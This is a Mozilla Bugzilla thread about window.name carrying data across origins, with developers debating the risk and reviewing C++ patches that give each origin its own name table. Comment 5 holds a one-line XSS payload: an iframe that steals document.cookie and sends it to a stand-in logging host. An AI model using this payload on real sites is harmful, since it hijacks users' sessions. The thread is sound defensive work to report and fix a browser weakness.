444222 - window.name can be used as an XSS attack vector

Status: RESOLVED FIXED

(Core :: DOM: Core & HTML, defect, P2)

Description

[John]

User-Agent:       Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9) Gecko/2008061712 Firefox/3.0
Build Identifier: 

The window.name property is accessible through JavaScript for both reading and writing, will persist among pages from different domains and allows for upto 2 megabytes of executable code and personal information to be inserted which can later be read and modified by another website.

This technique is being used to sidestep security that session cookies, client side storage and server side cross domain communication offer.

Disturbing is the fact that there us a growing number of JavaScript libraries that promote the use of this technique:

http://pablotron.org/?cid=1557
http://www.thomasfrank.se/sessionvars.html
http://code.google.com/p/quipt/

The quipt library's main selling point is that it improves loading speeds by sidestepping the browser's cache, not only is this a non-existing problem, it's claims are not proven, some people claiming to have tested the performance say the opposite is true. http://gathering.tweakers.net/forum/list_message/30387525#30387525 (Dutch forum posting about this subject)

The biggest danger of this all is that seemingly knowledgable people are promoting this technique which significantly increases the chance that people start using it for storing personal information which can then be easily stolen by any website who happens to be opened in the same window. The chance of this happening can be significantly increased if the attacker can put a simple HTML-link on the website that uses this technique.

My advice is to break this functionality in Firefox as soon as possible before it gains more ground and can inflict damage and becomes so prevalent that breaking it would do even more damage. This can be achieved by both limiting the allowed window name to less characters to make it less appealing and reseting the window name each time a page from a different host is requested.

Reproducible: Always

Steps to Reproduce:
1.
2.
3.

Comment 1

[:Gavin Sharp [email: [e-mail]]]

I'm not sure I understand what you perceive to be the problem. What exactly does the window.name functionality allow that's not already possible otherwise?  

Sites can already share information, whether it's through the browser or not. In fact in Firefox 3 we added window.postMessage, which makes it even easier for sites to share information (assuming both sites are cooperating, as is the case with setting/reading window.name).

Comment 2

[John]

Both websites don't have to be cooperating, or be even aware of each other's existence for communication using window.name.

If website example.com is using window.name to store information and any person opens a page at badhacker.com in the same window this page can read and modify all information set in window.name. 

By analyzing the content badhacker.com can determine whether a person visited a specific website in the same session and window, even if the browser history and cache have been cleared. If example.com was stupid enough to store personal information in it, this can also be extracted and saved.

Additionally badhacker.com can modify the content so that when the user returns to example.com the website will try to execute the content assuming that it contains the same script that it put in it, the modified script can then do even more damage by changing the behavior of example.com or by stealing even more personal information by sending it to badhacker.com or any other website.

Comment 3

[:Gavin Sharp [email: [e-mail]]]

Well, that attack is a bit far fetched, because it requires you to actually manually visit the "badhacker.com" site in the same window as a site that uses window.name to store private information (or information that it assumes hasn't been tampered with and is critical to the site's functionality).

I guess it could be a problem if sites start doing that without being aware of the consequences, but it's not much different than sites storing your information out in the open some other way, or otherwise relying on untrusted input (via, e.g. GET). It's not clear to me that trying to block this at the browser level will actually solve any problems.

Comment 4

[John]

I don't think it is far fetched, with increased browser security over the last years hackers are getting more and more creative. The chance of someone from example.com visiting badhacker.com can be greatly increased if that website has some kind of interactivity that allows place to post links, which is not at all uncommon.

If unfixed I expect many websites to start using it because it is a very good way to circumvent various security measures regarding cross domain communication. More importantly, these libraries make it accessible for people with even less experience, and promote it as a good practice. 

Less experienced web developers run into XSS security measures all the time. They will search the internet, find this technique, apply it to their situation and see that it works and continue to use it in the feature because it is an easy fix that works in all major browsers.

This is on a whole different level than websites storing information in public because the browser carries the information from website to website and is unlike variables in GET completely invisible to the user, and cannot be erased by clearing the history, cache and cookies.

Comment 5

[Giorgio Maone [:ma1]]

Not to mention it's a great way to write very concise XSS "first stage" vectors hiding the actual payload from the server side, such as:

<iframe src="http://vulnerable.com/?',location=name//" target="javascript:new Image().src='http://evil-logger.com/?cookie='+document.cookie'"></iframe>

Comment 6

[Jonas Sicking (:sicking) No longer reading bugmail consistently]

I would not call this an XSS attack in itself.

What it is is a bad programming practice that can lead to leaking of private data. It can also XSS attacks if the site takes the value in window.name and evaluates it without validating it first, just as it leads to XSS attacks if sites takes values in query parameters and evaluates it without validating it.

So I am more concerned about the private data leakage that can result from careless use of this. It also violates browser privacy settings for example if a user has disabled cookies.

What we should do is to reset window.name whenever a top frame is navigated from one site to another. This means that if the user navigates to another site to another the data is wiped, honoring any possible privacy settings as well as protects the sites data.

Additionally we should strongly discourage this whole mechanism. There are much better ways to accomplish the same thing. For example use the client side storage APIs: http://developer.mozilla.org/en/docs/DOM:Storage

I also believe that you can set properties on the window.navigator object which will be preserved across pages within the same site.

Comment 7

[Jonas Sicking (:sicking) No longer reading bugmail consistently]

Ok, Dan had different opinions then me, so before we do anything here I'd like to hear from him.

Comment 8

[Ben Newman (:bnewman) (:benjamn)]

I've got a patch ready that just resets window.name if the domain changes in the top window.  I can post it if we end up agreeing on that strategy.

Comment 9

[John]

I am very pleased that this problem is being addressed so quickly. 

Jonas, you write that this practice should be strongly discouraged, what do you have in mind?

The idea that I wrote earlier is to decrease the maximum allowed size for the window.name. Instead of 2 megabytes something like 256 bytes would be more than enough to use the property for its intended purpose. This would discourage the practice of abusing it for other purposes on a technical level.

Comment 10

[Jonas Sicking (:sicking) No longer reading bugmail consistently]

> I am very pleased that this problem is being addressed so quickly. 
> 
> Jonas, you write that this practice should be strongly discouraged, what do
> you have in mind?

Strong wording like "DON'T STORE DATA IN THIS PROPERTY. ARE YOU FREAKIN' INSANE!" in the article about the property :)

> The idea that I wrote earlier is to decrease the maximum allowed size for the
> window.name. Instead of 2 megabytes something like 256 bytes would be more 
> than enough to use the property for its intended purpose. This would
> discourage the practice of abusing it for other purposes on a technical level.

I'm somewhat reluctant to do this. I know that some people use iframe.name as a way to implement .postMessage in older browsers.

Hopefully once postMessage and localStorage is implementing more widely across browsers we can remove the support for hacks like these :(

/ Jonas

Comment 11

[Ben Newman (:bnewman) (:benjamn)]

Attachment: proposed patch

Would have posted earlier, but I misunderstood the behavior of CheckSameOriginURIs.  Nothing interesting, just a brain-dead oversight.

If you think I'm calling SetName(NS_LITERAL_STRING("")) too soon (i.e., before it's absolutely certain that we're loading a new URI), I've written the code so that it can be easily postponed.

Comment 12

[Ben Newman (:bnewman) (:benjamn)]

Attachment: proposed patch

How'd that silly newline sneak in at the top of the file?!  /me wants to know

Comment 13

[Jonas Sicking (:sicking) No longer reading bugmail consistently]

Comment on attachment 331237 [details] [diff] [review]
proposed patch

Actually, I think i'd prefer if bz looked at this given how complex loading is and this is a security feature.

Also, you should write some mochitests

Comment 14

[Boris Zbarsky [:bzbarsky]]

Won't this break things if the user, say, navigates back in the window?

Comment 15

[Boris Zbarsky [:bzbarsky]]

(That's before we start worrying about redirects, etc, which this patch also has problems with as far as I can tell).

I could also have sworn I've seen a bug about resetting window.name before, but I can't find it.

Oh, one other obvious use case this breaks:

  var win = window.open('url', "x");
  // wait a bit
  win = window.open('url2', "x");
  // wait a bit more
  win = window.open('url3', "x");

That should open all three urls in the same window.  What happens if they all have different hostnames?

Comment 16

[Jonas Sicking (:sicking) No longer reading bugmail consistently]

Ugh, yeah, we probably have to deal with the user clicking 'back'. So the name has to be stored in session history :(

var win = window.open('url', "x");
// wait a bit
win = window.open('url2', "x");
// wait a bit more
win = window.open('url3', "x");

Should work fine as there is no transition between origins. Additionally, do we support targetting frames from different origins?

Comment 17

[Boris Zbarsky [:bzbarsky]]

> Should work fine as there is no transition between origins.

Like I said, "What happens if they all have different hostnames?"

> Additionally, do we support targetting frames from different origins?

As I recall, yes, if you're the opener.

Comment 18

[Ben Newman (:bnewman) (:benjamn)]

(In reply to comment #16)
> So the name has to be stored in session history :(

Is that because we want to restore the name if the user clicks forward and returns to the page?

Deeper question: is this destructive clobbering strategy really what we want?  Seems better (& possibly simpler) to restrict reading window.name somehow, but never actually overwrite it.

Comment 19

[Boris Zbarsky [:bzbarsky]]

Yeah, that sounds much better to me.  Restrict reading window.name to names set by the same origin as you.

Comment 20

[Boris Zbarsky [:bzbarsky]]

Comment on attachment 331237 [details] [diff] [review]
proposed patch

r- per comments.

Comment 21

[Ben Newman (:bnewman) (:benjamn)]

(In reply to comment #19)
> Yeah, that sounds much better to me.  Restrict reading window.name to names set
> by the same origin as you.
> 

Got sidetracked with other bugs, but Jonas and I agree with you that restricting GetName is a better way to go.

Comment 22

[Jonas Sicking (:sicking) No longer reading bugmail consistently]

Assigning to Ben since he's working on it.

Comment 23

[Jonas Sicking (:sicking) No longer reading bugmail consistently]

I think we need exactly the same fix for the window.status property as well.

Comment 24

[Giorgio Maone [:ma1]]

(In reply to comment #23)
> I think we need exactly the same fix for the window.status property as well.

I don't think so. As far as I know, window.status cannot be read nor set anymore by default.

Comment 25

[Jonas Sicking (:sicking) No longer reading bugmail consistently]

Right, the default configuration makes it a no-op. But I don't think people that change that configuration expect that to allow cross-site messaging.

Comment 26

[Ben Newman (:bnewman) (:benjamn)]

Attachment: per-origin window namespaces

With this patch, getting and setting a window's name depends not only on the window itself but also on the origin of the current principal.  Any principal can assign any name it likes to any window to which it holds a reference, but this assignment cannot affect any other principal's names for the windows in question.  Same-origin principals always agree on the name of a window, but—and here's the important part—principals from different origins can no longer use window.name to communicate.  These changes preserve the few legitimate uses of window.name but prevent all the malicious uses that I could think of.

All of this is accomplished by keeping a hashtable from principals to names in the docshell belonging to each window.  GetName and SetName consult this hashtable, and all other name-related operations consult GetName and SetName.

The hashing of principals won't work exactly right unless a bug in nsPrincipal::GetHashValue is fixed as well (see bug 454850), but I posted a patch for that this morning.

I know Jonas has some misgivings about the complexity of this design, but I thought I'd post the code anyways, so folks can see what the implementation looks like.  At the very least, the mochitests included in this patch were useful for testing my patch for bug 454850.

Comment 27

[Boris Zbarsky [:bzbarsky]]

Ignoring for now some of the weird casting going on here, it looks to me like this patch will break <a target=""> and <form target=""> since those do the FindItemWithName dance without there being any JS (and hence any principal) on the stack, no?

Comment 28

[Ben Newman (:bnewman) (:benjamn)]

(In reply to comment #27)
> Ignoring for now some of the weird casting going on here,

Do you mean |((nsString)name).Equals(aName);|?  I'm guessing it would be better to assign name to an nsAutoString and invoke Equals on that?

> this patch will break <a target=""> and <form target=""> since those do the
> FindItemWithName dance without there being any JS (and hence any principal) on
> the stack, no?

True, I didn't pay attention to the possibility that GetSubjectPrincipal might fail.  Targets like _blank and _top should still work, but I know it's common to target a named iframe with a form to do cross-site POSTs.  There must be a way to derive a principal from the origin of the page containing the <a> and <form> html, though, right?

Comment 29

[Boris Zbarsky [:bzbarsky]]

> Do you mean |((nsString)name).Equals(aName);|?

Yes, and const_cast<nsString**>(&name)) (can the hashtable just have |const nsString| as the object type, say?).

The cast to nsString above, though, just shouldn't work, period.  You can't just cast a PRUnichar* to nsString.  I'm a little unhappy that the compiler even allows it (C-style casts are evil like that), and it should certainly malfunction at best and crash at worst.  There's also the minor matter of your NameEquals leaking the string...  Just use an nsXPIDLString and getter_Copies here: that's what it's for.

> There must be a way to derive a principal from the origin of the page
> containing the <a> and <form> html, though, right?

Of course.  I think the right thing should be to pass a requesting principal to GetName().  Then nsGlobalWindow can pass in the caller principal, while docshell passes in a principal derived from the originalRequestor.  See what ValidateOrigin does to get it, I guess?

You'd also need to check all other GetName() callers to see what they should be doing, of course.

Comment 30

[Ben Newman (:bnewman) (:benjamn)]

(In reply to comment #29)
> Yes, and const_cast<nsString**>(&name)) (can the hashtable just have |const
> nsString| as the object type, say?).

Yes, it can.  I forget exactly why this seemed necessary (it's been a few weeks and I wrote that code before I'd fixed bug 454850).  Trouble casting from *const* to const**, or something like that.  Whatever the need, it's gone now.
 
> The cast to nsString above, though, just shouldn't work, period.  You can't
> just cast a PRUnichar* to nsString.  I'm a little unhappy that the compiler
> even allows it (C-style casts are evil like that),

Me too.  When everything appeared to work, I assumed there must be a PRUnichar* constructor doing the implicit conversion.  Won't make that mistake again!

> There's also the minor matter of your
> NameEquals leaking the string...  Just use an nsXPIDLString and getter_Copies
> here: that's what it's for.

Oh, that's nice.

> Of course.  I think the right thing should be to pass a requesting principal to
> GetName().  Then nsGlobalWindow can pass in the caller principal, while
> docshell passes in a principal derived from the originalRequestor.  See what
> ValidateOrigin does to get it, I guess?

I'll update the patch when I've looked into this.

Comment 31

[Ben Newman (:bnewman) (:benjamn)]

(In reply to comment #29)
> I think the right thing should be to pass a requesting principal to
> GetName().  Then nsGlobalWindow can pass in the caller principal, while
> docshell passes in a principal derived from the originalRequestor.

Since GetName/SetName implement the IDL attribute "name" of nsIDocShellTreeItem, the single PRUnichar** parameter seems required for scriptability and all that.  Not sure what the best way to pass in additional arguments would be--any ideas?

Comment 32

[Boris Zbarsky [:bzbarsky]]

Change it from an attribute to a getter and setter?

Comment 33

[Jonas Sicking (:sicking) No longer reading bugmail consistently]

You mean to an internal-only getter/setter pair that the idl getter/setter forwards to right? We need web compat here.

Comment 34

[Boris Zbarsky [:bzbarsky]]

We're talking about nsIDocShellTreeItem.name here.

Comment 35

[Ben Newman (:bnewman) (:benjamn)]

Attachment: GetName, SetName, NameEquals now take nsIPrincipal parameter

Comment from nsDocShell::GetName:

+// Passing nsnull for the aPrincipal parameter of GetName, SetName, or
+// NameEquals causes the docshell to use the current subject pricipal or
+// its own node principal, in that order.  Passing an argument other than
+// nsnull is only necessary when one needs to override these defaults.

Most other changes are simply to add nsnull as an initial argument to one of these docshell methods, with a couple of exceptions; e.g., in nsDocShell::FindChildWithName, which derives the principal from aOriginalRequestor.  Another exception:

--- a/content/base/src/nsFrameLoader.cpp
+++ b/content/base/src/nsFrameLoader.cpp
@@ -747,17 +747,17 @@ nsFrameLoader::EnsureDocShell()
   if (!frameName.IsEmpty()) {
-    docShellAsItem->SetName(frameName.get());
+    docShellAsItem->SetName(doc->NodePrincipal(), frameName.get());
   }

This change ensures that iframes get named using the principal of their parent documents.

Comment 36

[Boris Zbarsky [:bzbarsky]]

Comment on attachment 340048 [details] [diff] [review]
GetName, SetName, NameEquals now take nsIPrincipal parameter

>+++ b/content/base/src/nsFrameLoader.cpp
>+    docShellAsItem->SetName(doc->NodePrincipal(), frameName.get());

mOwnerContent->NodePrincipal(), please.

>+++ b/content/html/document/src/nsPluginDocument.cpp
>+    dsti->NameEquals(nsnull, NS_LITERAL_STRING("messagepane").get(), &isMsgPane);

Have you tested this?  This doesn't seem right; more below.

>+++ b/docshell/base/nsDocShell.cpp

>+NS_IMETHODIMP
>+nsDocShell::GetPrincipal(nsIPrincipal 

I'd prefer this were renamed to GetCurrentDocumentPrincipal() or something to emphasize that it is NOT an immutable property of the docshell.

>+    return NS_ERROR_FAILURE;

Might be good to set the out param to null on failure anyway, just in case.

>+    if (NS_SUCCEEDED(GetPrincipal(aPrincipalPtr)))
>+        return NS_OK;
>+
>+    return NS_ERROR_FAILURE;

Why not just

  return GetPrincipal(aPrincipalPtr);

?

So in the plugin document case the subject principal is almost certainly going to be null, and the current document principal is the (hostile) plug-in.  But the frame name was set by chrome, so the name check will fail, and we'll get exploitable mailnews unless we have since added other means of preventing that problem.

Of course there shouldn't be a mailnews hack here in the first place, so maybe that's the way to approach that problem: replace this code with something saner.

>+// Passing nsnull for the aPrincipal parameter of GetName, SetName, or
>+// NameEquals causes the docshell to use the current subject pricipal or
>+// its own node principal, in that order.  

"its current document's node principal"

>+NS_IMETHODIMP
>+nsDocShell::GetName(const nsIPrincipal* aPrincipal, PRUnichar** aName)

As long as you're changing this signature, why not just make it return nsAString instead of wstring, and then not have to play as many games with ToNewUnicode, etc, etc?  Just get from the hashtable, truncate the out param on failure, assign to the out param on success.

Similar for the other two methods.

>+    if (!aPrincipal &&
>+        NS_SUCCEEDED(GetSubjectOrDocumentPrincipal(getter_AddRefs(sodp))))

As currently written, if GetSubjectOrDocumentPrincipal throws, we should probably just throw here or something...

>@@ -2544,19 +2611,22 @@ nsDocShell::FindChildWithName(const PRUn
>+        nsCOMPtr<nsIPrincipal> orp;
>+        if (aOriginalRequestor &&
>+            NS_SUCCEEDED(aOriginalRequestor->GetPrincipal(getter_AddRefs(orp))) &&

Why not do this part before entering the loop, rather than for every child?

>+++ b/docshell/base/nsIDocShellTreeItem.idl
> [scriptable, uuid(09b54ec1-d98a-49a9-bc95-3219e8b55089)]

Need to rev the iid.

>+	readonly attribute nsIPrincipal principal;
>+	wstring getName([const] in nsIPrincipal principal);
>+	void    setName([const] in nsIPrincipal principal,
>+	                [const] in wstring name);

Please document these carefully, and see above about signature.

>+++ b/dom/tests/mochitest/bugs/test_bug444222.html
>+  // Accessing the name of a window with a different principal is permitted!
>+  is(open(diffHostURI, "different host").name, "different host",
>+     "Name of different-host window not accessible.");

That's not accessing a window with a different principal, since you're not waiting for the URI to actually load....

>+  window.checkXSSafety = function(childName) {
>+    is(childName, name, "Child window's name changed by malicious principal.");
>+    is(child.name, name, "Parent window's 

What's |child| here?

>+++ b/embedding/browser/webBrowser/nsWebBrowser.cpp
>-   if(mDocShell)  
>-      mDocShellAsItem->GetName(aName);

Wouldn't mDocShellAsItem be non-null if and only if mDocShell is non-null?  Not sure why we need the Ensurel... function here.

>@@ -1173,17 +1193,17 @@ NS_IMETHODIMP nsWebBrowser::Create()
>+   mDocShellAsItem->SetName(nsnull, mInitInfo->name.get());

Will this really do the right thing?  The caller is almost certainly not JS here (so no subject principal), and the callee has no document yet (so getting one will either fail or create an about:blank with a one-off principal).  So this name set will never be visible to anyone, basically....

>+++ b/embedding/components/windowwatcher/src/nsWindowWatcher.cpp
>+    newDocShellItem->SetName(nsnull,
>+                             nameSpecified && !name.LowerCaseEqualsLiteral("_blank") ?
>                              name.get() : 

Again, this could just fail to get a useful principal...

Perhaps instead of falling over to the document principal we should fall over to the system principal (though we can't use that with the hashtable), and then allow anyone to see (but not change) the names the system principal sets?

Comment 37

[Ben Newman (:bnewman) (:benjamn)]

(In reply to comment #36)
> >+NS_IMETHODIMP
> >+nsDocShell::GetName(const nsIPrincipal* aPrincipal, PRUnichar** aName)
> 
> As long as you're changing this signature, why not just make it return
> nsAString instead of wstring, and then not have to play as many games with
> ToNewUnicode, etc, etc?  Just get from the hashtable, truncate the out param on
> failure, assign to the out param on success.
> 
> Similar for the other two methods.

Changing the IDL type to astring (and thus the implementation type to nsAString&) has wide-propagating consequences, unless I'm missing something.  It helps a little in GetName, sure, but every caller of these functions has to be modified, and while that's not terribly daunting it does give me some pause.  Unless moving from wstring to astring is a general goal of ours, not sure I grasp the wisdom of what you're suggesting.

Comment 38

[Boris Zbarsky [:bzbarsky]]

You're changing all callers anyway to pass in a principal, right?

> Unless moving from wstring to astring is a general goal of ours

It is, yeah.

Comment 39

[Boris Zbarsky [:bzbarsky]]

Which is not to say that you have to do it here, by the way.  It was just a suggestion, and if you're not happy doing it I'm fine with leaving stuff as-is and perhaps filing a followup bug to do it.

Comment 40

[Ben Newman (:bnewman) (:benjamn)]

Attachment: falling over to system principal

Passing nsnull to {Get,Set}Name and NameEquals less often now; see comments for case-by-case rationale.  Still not entirely confident about

>@@ -1173,17 +1193,17 @@ NS_IMETHODIMP nsWebBrowser::Create()
>+   mDocShellAsItem->SetName(???, mInitInfo->name.get());

since, as you say, there's no document yet, but I've done something that seems reasonable in this patch.  Tests would help, of course.

Comment 41

[Ben Newman (:bnewman) (:benjamn)]

Attachment: removed obsolete comment

The (corrected) content of that comment is now contained in nsDocShellTreeItem.idl.

Comment 42

[Boris Zbarsky [:bzbarsky]]

I'm not sure why we don't get the system principal in SetName().

Or why we're still calling the principals |sodp|.

Comment 43

[Ben Newman (:bnewman) (:benjamn)]

(In reply to comment #42)
> I'm not sure why we don't get the system principal in SetName().

That would simplify nsWebBrowser::Create(), as it would ensure the name always gets set.  If we always have a subject principal in nsGlobalWindow::SetName, I suppose there's no risk of setting the name with the system principal from JS.

> Or why we're still calling the principals |sodp|.

mea culpa, |sp| it should be

Comment 44

[Boris Zbarsky [:bzbarsky]]

Any time we're called from JS we have a subject principal.

The nsBrowser::Create thing worries me.  Have you tested an embedding app (like Camino say) to make sure you're not breaking their named windows completely?

Comment 45

[Ben Newman (:bnewman) (:benjamn)]

(In reply to comment #44)
> The nsBrowser::Create thing worries me.  Have you tested an embedding app (like
> Camino say) to make sure you're not breaking their named windows completely?

No, not yet, and only because it seems involved.  Happy to give it a try today.  Roughly, this means checking out the camino CVS trunk and attempting to apply these patches to it?  Or is there a simpler way?

Comment 46

[Boris Zbarsky [:bzbarsky]]

Probably, yeah...

Comment 47

[Ben Newman (:bnewman) (:benjamn)]

(In reply to comment #45)
> > The nsBrowser::Create thing worries me.  Have you tested an embedding app (like
> > Camino say) to make sure you're not breaking their named windows completely?
> Roughly, this means checking out the camino CVS trunk and attempting to apply
> these patches to it?  Or is there a simpler way?

The news from yesterday: after manually applying the patches for 454850 and 444222, my tests still pass.  While not discouraging, I doubt this means a whole lot.

Further consideration this morning led me to nsWebBrowser::SetName, which is how the value of mInitInfo->name is acquired initially.  Of course, nsWebBrowser::SetName now takes a principal, so perhaps we should just store that principal in mInitInfo.  That would clear up all the confusion in Create.  The most correct thing to do would be to keep a hashtable mapping principals to names in mInitInfo, but that might be overkill.

Comment 48

[Boris Zbarsky [:bzbarsky]]

Actually that sounds like the right solution.  Keep the hashtable and on create enumerate it, sync names with the docshell, and clear it.

Comment 49

[Ben Newman (:bnewman) (:benjamn)]

Attachment: introducing the nsiprincipalnametable component

to be used in both nsDocShell and nsWebBrowser

Comment 50

[Ben Newman (:bnewman) (:benjamn)]

Attachment: proposed patch (merging name tables in nsWebBrowser::create)

(In reply to comment #48)
> Actually that sounds like the right solution.  Keep the hashtable and on create
> enumerate it, sync names with the docshell, and clear it.

Implemented that.  I considered simply handing the name table off to the docshell, so that the sync would take constant time, but merging instead of replacing better handles the possiblity that the docshell already may have a name table (do we care?).

Comment 51

[Boris Zbarsky [:bzbarsky]]

Ben, would it be possible to put up an interdiff of the current two patches taken together against the last patch that I reviewed?  That would make reviewing this much simpler...

Comment 52

[Ben Newman (:bnewman) (:benjamn)]

Attachment: interdiff between last reviewed patch and previous two patches

(In reply to comment #51)
> Ben, would it be possible to put up an interdiff of the current two patches
> taken together against the last patch that I reviewed?  That would make
> reviewing this much simpler...

Good to learn how to do that.  Hope this helps.

Comment 53

[Boris Zbarsky [:bzbarsky]]

Er, I think I assumed you'd do an interdiff against the "removed obsolete comment" patch (which is the last patch I read and commented on, though I didn't mark any review flags)...

Comment 54

[Ben Newman (:bnewman) (:benjamn)]

Attachment: interdiff from "removed obsolete comment" patch to current two patches

(In reply to comment #53)
> Er, I think I assumed you'd do an interdiff against the "removed obsolete
> comment" patch (which is the last patch I read and commented on, though I
> didn't mark any review flags)...

no problem (yes, I was going by the flags)

Comment 55

[Boris Zbarsky [:bzbarsky]]

Comment on attachment 344161 [details] [diff] [review]
interdiff from "removed obsolete comment" patch to current two patches

>+++ b/docshell/base/nsDocShell.cpp
>-    NS_ENSURE_TRUE(mNames.Init(), NS_ERROR_OUT_OF_MEMORY);

Why not keep creating the table here and not having to do the ENSURE_NAME_TABLE stuff on every call in?  I'd guess that it's pretty rare to end up with a docshell that doesn't need a name table at some point.

If you do keep ENSURE_NAME_TABLE, please use PR_BEGIN/END_MACRO so that it requires a trailing semicolon...  But I really think creating up front is better.

>+++ b/docshell/base/nsDocShell.h
>+#include "caps/nsIPrincipalNameTable.h"

Shouldn't need the "caps/" part, I would think.

>+++ b/docshell/base/nsIDocShellTreeItem.idl
>+	/**
>+	 * For further comments explaining getName, setName, and nameEquals, see
>+	 * nsIPrincipalNameTable.idl
>+	 */
>+

>+	/* Get the name of this tree item according to the provided principal. */

Please actually use javadoc style here:

  /**
   * Get the name of this tree item according to the provided principal.
   *
   * @see nsIPrincipalNameTable.getName
   */

Similar for the other comments here.

Also, put the one new method at the end of the interface?  I don't see a strong reason to put it up with the name methods offhand, and minimizing change to the vtable is good.

>+++ b/embedding/browser/webBrowser/nsWebBrowser.cpp
>+#define NAME_ACCESSOR_OPERATION(METHOD_CALL) {                                            \
>+    if (mDocShell) {                                                                      \
>+        return mDocShellAsItem->METHOD_CALL;                                              \
>+    } else 

No need for else after return.

Again, use of PR_BEGIN/END_MACRO would help.  As written, you have trailing unnecessary ';' around.

>+++ b/embedding/components/windowwatcher/src/nsWindowWatcher.cpp

I don't think this code is correct.  In particular, if window A calls open() on window B, then the parent here will be window B, but we probably want to use the principal of window A.

Now that we fall back from null to subject and system in that order, I would probably just use null here.

>+++ b/caps/idl/nsIPrincipalNameTable.idl

This needs a newline at end of file.

>+++ b/caps/include/nsPrincipalNameTable.h
>+class nsPrincipalNameTable : public nsIPrincipalNameTable
>+    nsPrincipalNameTable() { NS_ASSERTION(mNames.Init(), "Out of memory?!"); 

That fails to call Init() in a non-debug build.  I'd just call Init() here and not worry about asserting, or use a factory constructor with init if you really want to be careful.

>+protected:
>+    ~nsPrincipalNameTable() {}

That needs to be virtual.

>+++ b/caps/src/nsPrincipalNameTable.cpp
>+#define ENSURE_NAMING_PRINCIPAL(PRINCIPAL) {                             \
>+    nsresult rv;                                                         \
>+    nsCOMPtr<nsIScriptSecurityManager> secMgr =                          \
>+        do_GetService(NS_SCRIPTSECURITYMANAGER_CONTRACTID, &rv);         \
>+    if (secMgr) {                                                        \
>+        rv |= secMgr->GetSubjectPrincipal(getter_AddRefs(PRINCIPAL));    \
>+        if (!PRINCIPAL)                                                  \
>+            rv |= secMgr->GetSystemPrincipal(getter_AddRefs(PRINCIPAL)); \

You're in caps/src, right?  How about #include "nsScriptSecurityManager.h" and then using nsScriptSecurityManager::GetScriptSecurityManager()?

Heck, you could expose non-XPCOM versions of GetSubjectPrincipal and GetSystemPrincipal here.

And in fact, you could make this all a static function:

  nsIPrincipal* GetNamingPrincipal();

or 

  nsIPrincipal* GetNamingPrincipal(nsIPrincipal* aInputPrincipal);

if you did that.  Or already_AddRefed<nsIPrincipal> if you want to stick with the XPCOM signatures for now (which is fine by me).  Then just do that and the single NS_ENSURE_TRUE(principal, NS_ERROR_OUT_OF_MEMORY) in the callers (that's the only way we can fail to have a system principal).

>+    NS_ENSURE_TRUE(PRINCIPAL, rv | NS_ERROR_FAILURE);                    \

I'm not cool with actually _returning_ bogus rv values here.

>+nsPrincipalNameTable::GetName(const nsIPrincipal *aPrincipal,
>+    const nsString *name = &empty;

Why set it here if this assignment is always clobbered?

>+    *aNamePtr = ToNewUnicode(*name);
>+
>+    return NS_OK;

Need to handle OOM.  (This is where using an AString signature would pay off...)

>+nsPrincipalNameTable::SetName(const nsIPrincipal *aPrincipal,
>+        mNames.Put(aPrincipal, new nsString(aName));

Need to handle OOM.

>+nsPrincipalNameTable::NameEquals(const nsIPrincipal *aPrincipal,
>+    GetName(aPrincipal, getter_Copies(name));

Need to handle GetName failure.

>+NameEnum(const nsIPrincipal *aPrincipal,
>+    static_cast<nsIPrincipalNameTable*>(aReceiver)
>+        ->SetName(aPrincipal, ToNewUnicode(*aName));

This leaks the string ToNewUnicode allocates.  Is there any reason not to just use aName->get() here?

>+nsPrincipalNameTable::CopyTo(nsIPrincipalNameTable *receiver)

aReceiver, right?

>+++ b/embedding/browser/webBrowser/nsWebBrowser.h
>+#include "caps/nsIPrincipalNameTable.h"

Again, shouldn't need the "caps/" part.

Comment 56

[Ben Newman (:bnewman) (:benjamn)]

Attachment: improved nametable, with astrings instead of wstrings

compare with "introducting the nsiprincipalnametable component" patch.  addresses bz's review comments.  still working on the patch that changes nsDocShell and nsWebBrowser (my previous "proposed patch").

Comment 57

[Boris Zbarsky [:bzbarsky]]

That last patch doesn't seem to address my review comments (and exports the nsPrincipalNameTable.h header, which seems undesirable).

Comment 58

[Ben Newman (:bnewman) (:benjamn)]

Attachment: nametable that actually addresses review comments

(In reply to comment #57)
> That last patch doesn't seem to address my review comments (and exports the
> nsPrincipalNameTable.h header, which seems undesirable).

Ack, you're right.  Fortunately (?) I posted the wrong patch.  The empty interdiff might have clued me in about that...

Comment 59

[Ben Newman (:bnewman) (:benjamn)]

(In reply to comment #58)
> Created an attachment (id=344418) [details]
> nametable that actually addresses review comments
> 
> (In reply to comment #57)
> > That last patch doesn't seem to address my review comments (and exports the
> > nsPrincipalNameTable.h header, which seems undesirable).
> 
> Ack, you're right.  Fortunately (?) I posted the wrong patch.  The empty
> interdiff might have clued me in about that...

Some remarks...

First, I realize nsPrincipalNameTable.h is still being exported; I just forgot to qrefresh.

Second, GetNamingPrincipal is inlined in nsScriptSecurityManager.h because I kept getting linker errors that I couldn't resolve (nsScriptSecurityManager::GetNamingPrincipal was an undefined symbol where it was used in nsPrincipalNameTable.cpp).  If you have any ideas about that I'm interested to hear them.

Third, bugzilla's interdiff facility really is unreliable (doesn't seem to know about new files, in particular).  Let me know if you want another real interdiff.

Comment 60

[Boris Zbarsky [:bzbarsky]]

I meant to just use a static function in nsPrincipalNameTable.cpp...

As written, GetNamingPrincipal() returns an addrefed principal sometimes, and then the callers leak it.

I think you want "AString" in the IDL, and don't need the [const] decoration for the string in param.

Is there a reason to not have GetNamingPrincipal() just take |const nsIPrincipal*| instead of doing const_cast?

No need to use nsXPIDLString anymore.  Just use nsString there?

Do you really need the .get() part of *aName.get()?  I wouldn't think so, since nsAutoPtr has an operator* defined that does the right thing as far as I can tell.

Comment 61

[Ben Newman (:bnewman) (:benjamn)]

Attachment: nametable addressing comment #60

(In reply to comment #60)
> I meant to just use a static function in nsPrincipalNameTable.cpp...

That does make more sense.  If only "static" were not such an overloaded term...

I'm still using XPCOM versions of GetSubjectPrincipal and GetSystemPrincipal, since that's a little simpler.  Did you mean I could add non-ADDREFing versions of those methods to the security manager?

I also decided to write GetName so that it never fails, for simplicity.  If an OOM situation arose, GetName would just return the empty string.

Comment 62

[Ben Newman (:bnewman) (:benjamn)]

Attachment: proposed patch

(In reply to comment #55)
> (From update of attachment 344161 [details] [diff] [review])
> >+++ b/docshell/base/nsDocShell.cpp
> >-    NS_ENSURE_TRUE(mNames.Init(), NS_ERROR_OUT_OF_MEMORY);
> 
> Why not keep creating the table here and not having to do the ENSURE_NAME_TABLE
> stuff on every call in?  I'd guess that it's pretty rare to end up with a
> docshell that doesn't need a name table at some point.

